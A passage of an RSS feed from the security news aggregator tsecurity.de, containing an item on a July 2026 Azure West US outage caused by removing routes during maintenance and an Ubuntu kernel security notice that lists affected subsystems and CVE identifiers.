CVE-2026-45960, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45974, CVE-2026-45978,
CVE-2026-45983, CVE-2026-45984, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45994, CVE-2026-46002, CVE-2026-46004,
CVE-2026-46006, CVE-2026-46009, CVE-2026-46015, CVE-2026-46018,
CVE-2026-46019, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46027, CVE-2026-46033, CVE-2026-46037, CVE-2026-46040,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46053, CVE-2026-46062,
CVE-2026-46064, CVE-2026-46070, CVE-2026-46072, CVE-2026-46077,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46088, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46107,
CVE-2026-46108, CVE-2026-46112, CVE-2026-46120, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46132, CVE-2026-46133, CVE-2026-46137, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46167, CVE-2026-46168, CVE-2026-46172,
CVE-2026-46174, CVE-2026-46177, CVE-2026-46178, CVE-2026-46184,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46205, CVE-2026-46206, CVE-2026-46209,
CVE-2026-46212, CVE-2026-46214, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46227, CVE-2026-46230, CVE-2026-46231, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46236, CVE-2026-46238, CVE-2026-46249,
CVE-2026-46250, CVE-2026-46253, CVE-2026-46259, CVE-2026-46267,
CVE-2026-46270, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275,
CVE-2026-46285, CVE-2026-46294, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46307, CVE-2026-46319, CVE-2026-46328,
CVE-2026-52911, CVE-2026-52912, CVE-2026-52914, CVE-2026-52915,
CVE-2026-52916, CVE-2026-52919, CVE-2026-52920, CVE-2026-52921,
CVE-2026-52922, CVE-2026-52925, CVE-2026-52926, CVE-2026-52931,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998,
CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003,
CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041,
CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047,
CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53064,
CVE-2026-53065, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071,
CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53096, CVE-2026-53112, CVE-2026-53128, CVE-2026-53130,
CVE-2026-53287, CVE-2026-53291, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309,
CVE-2026-53320, CVE-2026-53369, CVE-2026-53379, CVE-2026-63860,
CVE-2026-63865, CVE-2026-64018, CVE-2026-64032, CVE-2026-64033,
CVE-2026-64034, CVE-2026-64039, CVE-2026-64046, CVE-2026-64047,
CVE-2026-64055, CVE-2026-64056, CVE-2026-64083, CVE-2026-64084,
CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088,
CVE-2026-64089, CVE-2026-64096, CVE-2026-64102, CVE-2026-64103,
CVE-2026-64113, CVE-2026-64114, CVE-2026-64115, CVE-2026-64125,
CVE-2026-64133, CVE-2026-64135, CVE-2026-64153, CVE-2026-64155,
CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64168,
CVE-2026-64173, CVE-2026-64174, CVE-2026-64177, CVE-2026-64178,
CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure-Ausfall: Wartungsfehler legt 27 Dienste stundenlang lahm - Börse Express]]></title>
<description><![CDATA[Microsoft 365 und Windows-Updates lahmgelegt ... Das traf sowohl Privatanwender als auch Unternehmen, die auf Windows Server Update Services (WSUS) ...]]></description>
<link>https://tsecurity.de/de/3691393/windows-server/azure-ausfall-wartungsfehler-legt-27-dienste-stundenlang-lahm-boerse-express/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691393/windows-server/azure-ausfall-wartungsfehler-legt-27-dienste-stundenlang-lahm-boerse-express/</guid>
<pubDate>Fri, 24 Jul 2026 13:31:54 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft 365 und Windows-Updates lahmgelegt ... Das traf sowohl Privatanwender als auch Unternehmen, die auf <b>Windows Server</b> Update Services (WSUS) ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft explains why its West US Azure and cloud services failed]]></title>
<description><![CDATA[Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.



Micro...]]></description>
<link>https://tsecurity.de/de/3691376/it-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691376/it-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</guid>
<pubDate>Fri, 24 Jul 2026 13:20:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.</p>



<p class="wp-block-paragraph">Microsoft has now published a Preliminary Post Incident Review (PIR) of the incident, reporting that connectivity was lost for five hours between 14.44 UTC (7.44 a.m. Pacific Time) and 19.41 UTC on July 23. The problem was caused when a set of IP routes was removed in error while isolating a device for routine maintenance.<strong></strong></p>



<p class="wp-block-paragraph">Before starting the maintenance work, Microsoft checked that at least one of the two redundant paths to the facility remained operational. When it came to starting the work, however, automated systems included some additional devices in the perimeter to be isolated, and removing some IP routes that had not been included in the initial assessment.</p>



<p class="wp-block-paragraph">Customers discovered the problems very quickly, and engineers identified the issue within the first hour and started to reconnect services.  Microsoft said the disruption had been caused by some “recent fiber maintenance activity”.</p>



<p class="wp-block-paragraph">To minimize the risk of disruption from such errors in the future, Microsoft advised organizations handling mission-critical data to consider a multi-region approach.</p>



<p class="wp-block-paragraph">The Azure outage was the second significant one to hit Microsoft this year. In February, <a href="https://www.networkworld.com/article/4127142/azure-outage-disrupts-vms-and-identity-services-for-over-10-hours.ht">there was a 10-hour disruption to US West and US East regions</a>.</p>



<p class="wp-block-paragraph"><em>This article first appeared on Network World.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft explains why its West US Azure and cloud services failed]]></title>
<description><![CDATA[Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.



Micro...]]></description>
<link>https://tsecurity.de/de/3691358/it-security-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691358/it-security-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</guid>
<pubDate>Fri, 24 Jul 2026 13:12:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.</p>



<p class="wp-block-paragraph">Microsoft has now published a Preliminary Post Incident Review (PIR) of the incident, reporting that connectivity was lost for five hours between 14.44 UTC (7.44 a.m. Pacific Time) and 19.41 UTC on July 23. The problem was caused when a set of IP routes was removed in error while isolating a device for routine maintenance.<strong></strong></p>



<p class="wp-block-paragraph">Before starting the maintenance work, Microsoft checked that at least one of the two redundant paths to the facility remained operational. When it came to starting the work, however, automated systems included some additional devices in the perimeter to be isolated, and removing some IP routes that had not been included in the initial assessment.</p>



<p class="wp-block-paragraph">Customers discovered the problems very quickly, and engineers identified the issue within the first hour and started to reconnect services.  Microsoft said the disruption had been caused by some “recent fiber maintenance activity”.</p>



<p class="wp-block-paragraph">To minimize the risk of disruption from such errors in the future, Microsoft advised organizations handling mission-critical data to consider a multi-region approach.</p>



<p class="wp-block-paragraph">The Azure outage was the second significant one to hit Microsoft this year. In February, <a href="https://www.networkworld.com/article/4127142/azure-outage-disrupts-vms-and-identity-services-for-over-10-hours.ht">there was a 10-hour disruption to US West and US East regions</a>.</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8603-1: Linux kernel (Azure) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691319/unix-server/usn-8603-1-linux-kernel-azure-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691319/unix-server/usn-8603-1-linux-kernel-azure-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 13:02:31 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - x86 platform drivers;
  - PSP security protocol;
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Auxiliary display drivers;
  - Drivers core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - Buffer Sharing and Synchronization framework;
  - DPLL subsystem;
  - EDAC drivers;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - FWCTL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Microsoft Hyper-V drivers;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - I3C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device core drivers;
  - IOMMU subsystem;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - IBM Advanced System Management driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Texas Instruments network drivers;
  - MediaTek network drivers;
  - NTB driver;
  - NVME drivers;
  - Device tree and open firmware driver;
  - Parport drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - Remote Processor subsystem;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - Thunderbolt and USB4 drivers;
  - TTY drivers;
  - Userspace I/O drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Dual Role (OTG-ready) Controller drivers;
  - USB Serial drivers;
  - USB Type-C support driver;
  - USB Type-C Port Controller Manager driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - 9P distributed file system;
  - File systems infrastructure;
  - AFS file system;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Overlay file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - DRM TTM subsystem;
  - Codetag library;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - Memory management;
  - Tracing infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory Management;
  - KVM subsystem;
  - Linked list library;
  - Netfilter;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Network shaper API;
  - Network traffic control;
  - TCP network protocol;
  - XFRM subsystem;
  - User-space API (UAPI);
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - DMA mapping infrastructure;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - IRQ subsystem;
  - Kexec HandOver (KHO);
  - Locking primitives;
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Timer subsystem;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KProbes tracing;
  - KASAN memory debugging framework;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - Ethtool driver;
  - Handshake API;
  - HSR network protocol;
  - IPv4 networking;
  - IPv6 networking;
  - IUCV driver;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - Integrity Measurement Architecture(IMA) framework;
  - Key management;
  - Landlock security;
  - Linux Security Modules (LSM) Framework;
  - SELinux security module;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - FourSemi audio codecs;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2026-31532, CVE-2026-31574, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31579, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31589, CVE-2026-31590, CVE-2026-31591, CVE-2026-31592,
CVE-2026-31593, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31600,
CVE-2026-31601, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604,
CVE-2026-31605, CVE-2026-31606, CVE-2026-31607, CVE-2026-31608,
CVE-2026-31609, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31614, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31620,
CVE-2026-31621, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31686, CVE-2026-31694, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31703, CVE-2026-31704,
CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708,
CVE-2026-31709, CVE-2026-31710, CVE-2026-31711, CVE-2026-31712,
CVE-2026-31713, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31717, CVE-2026-31718, CVE-2026-31719, CVE-2026-43058,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43348,
CVE-2026-43349, CVE-2026-43350, CVE-2026-43490, CVE-2026-43491,
CVE-2026-43492, CVE-2026-43493, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43498, CVE-2026-43499, CVE-2026-43501,
CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836,
CVE-2026-45837, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45988, CVE-2026-45989, CVE-2026-45990, CVE-2026-45991,
CVE-2026-45994, CVE-2026-45995, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46001, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46008, CVE-2026-46009, CVE-2026-46010, CVE-2026-46011,
CVE-2026-46012, CVE-2026-46013, CVE-2026-46014, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46020,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46025, CVE-2026-46026, CVE-2026-46027, CVE-2026-46028,
CVE-2026-46029, CVE-2026-46030, CVE-2026-46031, CVE-2026-46032,
CVE-2026-46033, CVE-2026-46034, CVE-2026-46035, CVE-2026-46036,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46039, CVE-2026-46040,
CVE-2026-46041, CVE-2026-46042, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46045, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46054, CVE-2026-46056, CVE-2026-46057, CVE-2026-46058,
CVE-2026-46059, CVE-2026-46060, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46066,
CVE-2026-46067, CVE-2026-46068, CVE-2026-46069, CVE-2026-46070,
CVE-2026-46071, CVE-2026-46072, CVE-2026-46073, CVE-2026-46074,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46081, CVE-2026-46082,
CVE-2026-46083, CVE-2026-46084, CVE-2026-46085, CVE-2026-46086,
CVE-2026-46087, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46093, CVE-2026-46094,
CVE-2026-46095, CVE-2026-46096, CVE-2026-46097, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46100, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46104, CVE-2026-46105, CVE-2026-46106,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46109, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46118,
CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126,
CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46130,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46134,
CVE-2026-46135, CVE-2026-46136, CVE-2026-46137, CVE-2026-46138,
CVE-2026-46139, CVE-2026-46140, CVE-2026-46141, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46147, CVE-2026-46148, CVE-2026-46149, CVE-2026-46150,
CVE-2026-46151, CVE-2026-46152, CVE-2026-46153, CVE-2026-46154,
CVE-2026-46155, CVE-2026-46156, CVE-2026-46157, CVE-2026-46158,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46162,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46165, CVE-2026-46166,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46169, CVE-2026-46170,
CVE-2026-46171, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46175, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46181, CVE-2026-46182,
CVE-2026-46183, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46188, CVE-2026-46189, CVE-2026-46190,
CVE-2026-46191, CVE-2026-46192, CVE-2026-46193, CVE-2026-46194,
CVE-2026-46195, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46202,
CVE-2026-46203, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46210,
CVE-2026-46211, CVE-2026-46212, CVE-2026-46213, CVE-2026-46214,
CVE-2026-46215, CVE-2026-46216, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46221, CVE-2026-46222, CVE-2026-46223,
CVE-2026-46224, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46228, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46239, CVE-2026-46240,
CVE-2026-46241, CVE-2026-46242, CVE-2026-46243, CVE-2026-46244,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46276,
CVE-2026-46277, CVE-2026-46278, CVE-2026-46279, CVE-2026-46280,
CVE-2026-46281, CVE-2026-46282, CVE-2026-46283, CVE-2026-46284,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46288,
CVE-2026-46289, CVE-2026-46290, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46295, CVE-2026-46296,
CVE-2026-46297, CVE-2026-46298, CVE-2026-46299, CVE-2026-46301,
CVE-2026-46302, CVE-2026-46303, CVE-2026-46304, CVE-2026-46305,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46308, CVE-2026-46309,
CVE-2026-46310, CVE-2026-46311, CVE-2026-46312, CVE-2026-46313,
CVE-2026-46314, CVE-2026-46315, CVE-2026-46316, CVE-2026-46317,
CVE-2026-46318, CVE-2026-46319, CVE-2026-46320, CVE-2026-46321,
CVE-2026-46322, CVE-2026-46324, CVE-2026-46332, CVE-2026-52904,
CVE-2026-52905, CVE-2026-52906, CVE-2026-52907, CVE-2026-52911,
CVE-2026-52912, CVE-2026-52913, CVE-2026-52914, CVE-2026-52915,
CVE-2026-52916, CVE-2026-52918, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52923, CVE-2026-52925,
CVE-2026-52926, CVE-2026-52927, CVE-2026-52928, CVE-2026-52931,
CVE-2026-52932, CVE-2026-52933, CVE-2026-52934, CVE-2026-52936,
CVE-2026-52937, CVE-2026-52941, CVE-2026-52943, CVE-2026-52944,
CVE-2026-52949, CVE-2026-52950, CVE-2026-52951, CVE-2026-52952,
CVE-2026-52953, CVE-2026-52954, CVE-2026-52955, CVE-2026-52956,
CVE-2026-52957, CVE-2026-52958, CVE-2026-52959, CVE-2026-52960,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52965, CVE-2026-52967, CVE-2026-52968, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52971, CVE-2026-52973, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52976, CVE-2026-52977, CVE-2026-52978,
CVE-2026-52979, CVE-2026-52980, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52983, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52987, CVE-2026-52988, CVE-2026-52989, CVE-2026-52990,
CVE-2026-52991, CVE-2026-52992, CVE-2026-52993, CVE-2026-52994,
CVE-2026-52995, CVE-2026-52996, CVE-2026-52997, CVE-2026-52998,
CVE-2026-52999, CVE-2026-53000, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53005, CVE-2026-53006,
CVE-2026-53007, CVE-2026-53008, CVE-2026-53009, CVE-2026-53010,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53017, CVE-2026-53018,
CVE-2026-53019, CVE-2026-53020, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53024, CVE-2026-53025, CVE-2026-53026,
CVE-2026-53027, CVE-2026-53028, CVE-2026-53029, CVE-2026-53030,
CVE-2026-53031, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53038,
CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53042,
CVE-2026-53043, CVE-2026-53044, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53051, CVE-2026-53052, CVE-2026-53053, CVE-2026-53054,
CVE-2026-53055, CVE-2026-53056, CVE-2026-53057, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53067, CVE-2026-53068, CVE-2026-53069, CVE-2026-53070,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53076, CVE-2026-53077, CVE-2026-53078,
CVE-2026-53079, CVE-2026-53080, CVE-2026-53081, CVE-2026-53082,
CVE-2026-53083, CVE-2026-53084, CVE-2026-53085, CVE-2026-53086,
CVE-2026-53087, CVE-2026-53088, CVE-2026-53089, CVE-2026-53090,
CVE-2026-53091, CVE-2026-53092, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53095, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53099, CVE-2026-53100, CVE-2026-53101, CVE-2026-53102,
CVE-2026-53103, CVE-2026-53104, CVE-2026-53105, CVE-2026-53106,
CVE-2026-53107, CVE-2026-53108, CVE-2026-53109, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53113, CVE-2026-53114,
CVE-2026-53115, CVE-2026-53116, CVE-2026-53117, CVE-2026-53118,
CVE-2026-53119, CVE-2026-53120, CVE-2026-53121, CVE-2026-53122,
CVE-2026-53123, CVE-2026-53124, CVE-2026-53125, CVE-2026-53126,
CVE-2026-53127, CVE-2026-53128, CVE-2026-53129, CVE-2026-53130,
